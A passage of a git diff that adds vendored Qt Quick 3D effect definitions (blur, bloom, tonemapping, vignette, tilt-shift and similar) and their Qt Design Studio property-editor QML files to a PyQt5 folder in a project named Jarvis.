Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property bool flipHorizontally: true + property bool flipVertically: true + + Shader { + id: flip + stage: Shader.Fragment + shader: "shaders/flip.frag" + } + + passes: [ + Pass { + shaders: flip + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Fxaa.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Fxaa.qml new file mode 100644 index 00000000..fda483d3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Fxaa.qml @@ -0,0 +1,73 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + readonly property TextureInput sprite: TextureInput { + texture: Texture {} + } + + Shader { + id: rgbl + stage: Shader.Fragment + shader: "shaders/fxaaRgbl.frag" + } + Shader { + id: blur + stage: Shader.Fragment + shader: "shaders/fxaaBlur.frag" + } + Buffer { + id: rgblBuffer + name: "rgbl_buffer" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + bufferFlags: Buffer.None // aka frame + } + + passes: [ + Pass { + shaders: rgbl + output: rgblBuffer + }, + Pass { + shaders: blur + commands: [ BufferInput { + buffer: rgblBuffer + }, BufferInput { + param: "sprite" + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/GaussianBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/GaussianBlur.qml new file mode 100644 index 00000000..da9605f9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/GaussianBlur.qml @@ -0,0 +1,75 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real amount: 2 // 0 - 10 + Shader { + id: vertical + stage: Shader.Vertex + shader: "shaders/blurvertical.vert" + } + Shader { + id: horizontal + stage: Shader.Vertex + shader: "shaders/blurhorizontal.vert" + } + Shader { + id: gaussianblur + stage: Shader.Fragment + shader: "shaders/gaussianblur.frag" + } + + Buffer { + id: tempBuffer + name: "tempBuffer" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + bufferFlags: Buffer.None // aka frame + } + + passes: [ + Pass { + shaders: [ horizontal, gaussianblur ] + output: tempBuffer + }, + Pass { + shaders: [ vertical, gaussianblur ] + commands: [ + BufferInput { + buffer: tempBuffer + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/HDRBloomTonemap.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/HDRBloomTonemap.qml new file mode 100644 index 00000000..59351cdd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/HDRBloomTonemap.qml @@ -0,0 +1,155 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + readonly property TextureInput downsample2: TextureInput { + texture: Texture {} + } + readonly property TextureInput downsample4: TextureInput { + texture: Texture {} + } + property real gamma: 1 // 0.1 - 4 + property real exposure: 0 // -9 - 9 + readonly property real exposureExp2: Math.pow(2, exposure) + property real bloomThreshold: 1 + property real blurFalloff: 0 // 0 - 10 + readonly property real negativeBlurFalloffExp2: Math.pow(2, -blurFalloff) + property real tonemappingLerp: 1 // 0 - 1 + property real channelThreshold: 1 + readonly property real poissonRotation: 0 + readonly property real poissonDistance: 4 + + Shader { + id: luminosityVert + stage: Shader.Vertex + shader: "shaders/luminosity.vert" + } + Shader { + id: luminosityFrag + stage: Shader.Fragment + shader: "shaders/luminosity.frag" + } + + Shader { + id: blurVert + stage: Shader.Vertex + shader: "shaders/poissonblur.vert" + } + Shader { + id: blurFrag + stage: Shader.Fragment + shader: "shaders/poissonblur.frag" + } + + Shader { + id: combiner + stage: Shader.Fragment + shader: "shaders/combiner.frag" + } + + Buffer { + id: luminosity_buffer2 + name: "luminosity_buffer2" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + bufferFlags: Buffer.None + sizeMultiplier: 0.5 + } + Buffer { + id: downsample_buffer2 + name: "downsample_buffer2" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + bufferFlags: Buffer.None + sizeMultiplier: 0.5 + } + Buffer { + id: downsample_buffer4 + name: "downsample_buffer4" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + bufferFlags: Buffer.None + sizeMultiplier: 0.25 + } + + passes: [ + Pass { + shaders: [ luminosityVert, luminosityFrag ] + output: downsample_buffer2 + }, + Pass { + shaders: [ luminosityVert, luminosityFrag ] + commands: BufferInput { + buffer: downsample_buffer2 + } + output: luminosity_buffer2 + }, + Pass { + shaders: [ blurVert, blurFrag ] + commands: BufferInput { + buffer: luminosity_buffer2 + } + output: downsample_buffer2 + }, + Pass { + + shaders: [ blurVert, blurFrag ] + commands: [ + SetUniformValue { + target: "poissonRotation" + value: 0.62831 + }, + BufferInput { + buffer: luminosity_buffer2 + } + ] + output: downsample_buffer4 + }, + Pass { + shaders: combiner + commands: [ + BufferInput { + param: "downsample2" + buffer: downsample_buffer2 + }, + BufferInput { + param: "downsample4" + buffer: downsample_buffer4 + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/MotionBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/MotionBlur.qml new file mode 100644 index 00000000..8ffd7636 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/MotionBlur.qml @@ -0,0 +1,121 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + readonly property TextureInput sprite: TextureInput { + texture: Texture {} + } + property real fadeAmount: 0.25 // 0 - 1 + property real blurQuality: 0.25 // 0.1 - 1.0 + + Shader { + id: vblurVert + stage: Shader.Vertex + shader: "shaders/motionblurvertical.vert" + } + Shader { + id: vblurFrag + stage: Shader.Fragment + shader: "shaders/motionblurvertical.frag" + } + + Shader { + id: hblurVert + stage: Shader.Vertex + shader: "shaders/motionblurhorizontal.vert" + } + Shader { + id: hblurFrag + stage: Shader.Fragment + shader: "shaders/motionblurhorizontal.frag" + } + + Shader { + id: blend + stage: Shader.Fragment + shader: "shaders/blend.frag" + } + + Buffer { + id: glowBuffer + name: "glowBuffer" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Nearest + textureCoordOperation: Buffer.ClampToEdge + bufferFlags: Buffer.SceneLifetime + sizeMultiplier: blurQuality + } + + Buffer { + id: tempBuffer + name: "tempBuffer" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + bufferFlags: Buffer.None + sizeMultiplier: blurQuality + } + + passes: [ + Pass { + shaders: [ hblurVert, hblurFrag ] + commands: [ + BufferInput { + param: "glowSampler" + buffer: glowBuffer + } + ] + output: tempBuffer + }, + Pass { + shaders: [ vblurVert, vblurFrag ] + commands: [ + BufferInput { + buffer: tempBuffer + } + ] + output: glowBuffer + }, + Pass { + shaders: blend + commands: [ + BufferInput { + buffer: glowBuffer + }, + BufferInput { + param: "sprite" + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/SCurveTonemap.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/SCurveTonemap.qml new file mode 100644 index 00000000..589558ba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/SCurveTonemap.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.14 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real shoulderSlope: 1.0 // 0.0 - 3.0 + property real shoulderEmphasis: 0 // -1.0 - 1.0 + property real toeSlope: 1.0 // 0.0 - 3.0 + property real toeEmphasis: 0 // -1.0 - 1.0 + property real contrastBoost: 0 // -1.0 - 2.0 + property real saturationLevel: 1 // 0.0 - 2.0 + property real gammaValue: 2.2 // 0.1 - 8.0 + property bool useExposure: false + property real whitePoint: 1.0 // 0.01 - 128.0 + property real exposureValue: 1.0 // 0.01 - 16.0 + + Shader { + id: tonemapShader + stage: Shader.Fragment + shader: "shaders/scurvetonemap.frag" + } + + Buffer { + // LDR output + id: defaultOutput + format: Buffer.RGBA8 + } + + passes: [ + Pass { + shaders: tonemapShader + output: defaultOutput + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Scatter.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Scatter.qml new file mode 100644 index 00000000..1afadabe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Scatter.qml @@ -0,0 +1,57 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property TextureInput noiseSample: TextureInput { + texture: Texture { + tilingModeHorizontal: Texture.Repeat + tilingModeVertical: Texture.Repeat + source: "maps/brushnoise.png" + } + } + property real amount: 10.0 // 0 - 127 + property int direction: 0 // 0 = both, 1 = horizontal, 2 = vertical + property bool randomize: true + + Shader { + id: scatter + stage: Shader.Fragment + shader: "shaders/scatter.frag" + } + + passes: [ + Pass { + shaders: [ scatter ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/TiltShift.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/TiltShift.qml new file mode 100644 index 00000000..d09e7c3c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/TiltShift.qml @@ -0,0 +1,93 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + readonly property TextureInput sourceSampler: TextureInput { + texture: Texture {} + } + property real focusPosition: 0.5 // 0 - 1 + property real focusWidth: 0.2 // 0 - 1 + property real blurAmount: 4 // 0 - 10 + property bool isVertical: false + property bool isInverted: false + + Shader { + id: downsampleVert + stage: Shader.Vertex + shader: "shaders/downsample.vert" + } + Shader { + id: downsampleFrag + stage: Shader.Fragment + shader: "shaders/downsampletiltshift.frag" + } + + Shader { + id: blurVert + stage: Shader.Vertex + shader: "shaders/poissonblurtiltshift.vert" + } + Shader { + id: blurFrag + stage: Shader.Fragment + shader: "shaders/poissonblurtiltshift.frag" + } + + Buffer { + id: downsampleBuffer + name: "downsampleBuffer" + format: Buffer.RGBA8 + textureFilterOperation: Buffer.Linear + textureCoordOperation: Buffer.ClampToEdge + bufferFlags: Buffer.None + sizeMultiplier: 0.5 + } + + passes: [ + Pass { + shaders: [ downsampleVert, downsampleFrag ] + output: downsampleBuffer + }, + Pass { + shaders: [ blurVert, blurFrag ] + commands: [ + BufferInput { + buffer: downsampleBuffer + }, + BufferInput { + param: "sourceSampler" + } + ] + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Vignette.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Vignette.qml new file mode 100644 index 00000000..cc12e05f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/Vignette.qml @@ -0,0 +1,50 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 +import QtQuick3D.Effects 1.15 + +Effect { + property real vignetteStrength: 15 // 0 - 15 + property vector3d vignetteColor: Qt.vector3d(0.5, 0.5, 0.5) + property real vignetteRadius: 0.35 // 0 - 5 + + Shader { + id: vignette + stage: Shader.Fragment + shader: "shaders/vignette.frag" + } + + passes: [ + Pass { + shaders: vignette + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/AdditiveColorGradientSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/AdditiveColorGradientSection.qml new file mode 100644 index 00000000..e41508d7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/AdditiveColorGradientSection.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Top Color") + width: parent.width + ColorEditor { + caption: qsTr("Top Color") + backendValue: backendValues.topColor + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Bottom Color") + width: parent.width + ColorEditor { + caption: qsTr("Bottom Color") + backendValue: backendValues.bottomColor + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/AdditiveColorGradientSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/AdditiveColorGradientSpecifics.qml new file mode 100644 index 00000000..d912265b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/AdditiveColorGradientSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + AdditiveColorGradientSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BlurSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BlurSection.qml new file mode 100644 index 00000000..9b31c9bb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BlurSection.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Blur") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Strength of the blur.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 0.1 + minimumValue: 0 + decimals: 3 + stepSize: 0.01 + backendValue: backendValues.amount + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BlurSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BlurSpecifics.qml new file mode 100644 index 00000000..064d0f80 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BlurSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + BlurSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BrushStrokesSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BrushStrokesSection.qml new file mode 100644 index 00000000..0913f882 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BrushStrokesSection.qml @@ -0,0 +1,104 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Noise") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Noise Sample Texture") + tooltip: qsTr("Defines a texture for noise samples.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.noiseSample_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Brush") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Length") + tooltip: qsTr("Length of the brush.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 3 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.brushLength + Layout.fillWidth: true + } + } + Label { + text: qsTr("Size") + tooltip: qsTr("Size of the brush.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 200 + minimumValue: 10 + decimals: 0 + backendValue: backendValues.brushSize + Layout.fillWidth: true + } + } + Label { + text: qsTr("Angle") + tooltip: qsTr("Angle of the brush") + } + SecondColumnLayout { + SpinBox { + maximumValue: 360 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.brushAngle + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BrushStrokesSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BrushStrokesSpecifics.qml new file mode 100644 index 00000000..584253c7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/BrushStrokesSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the 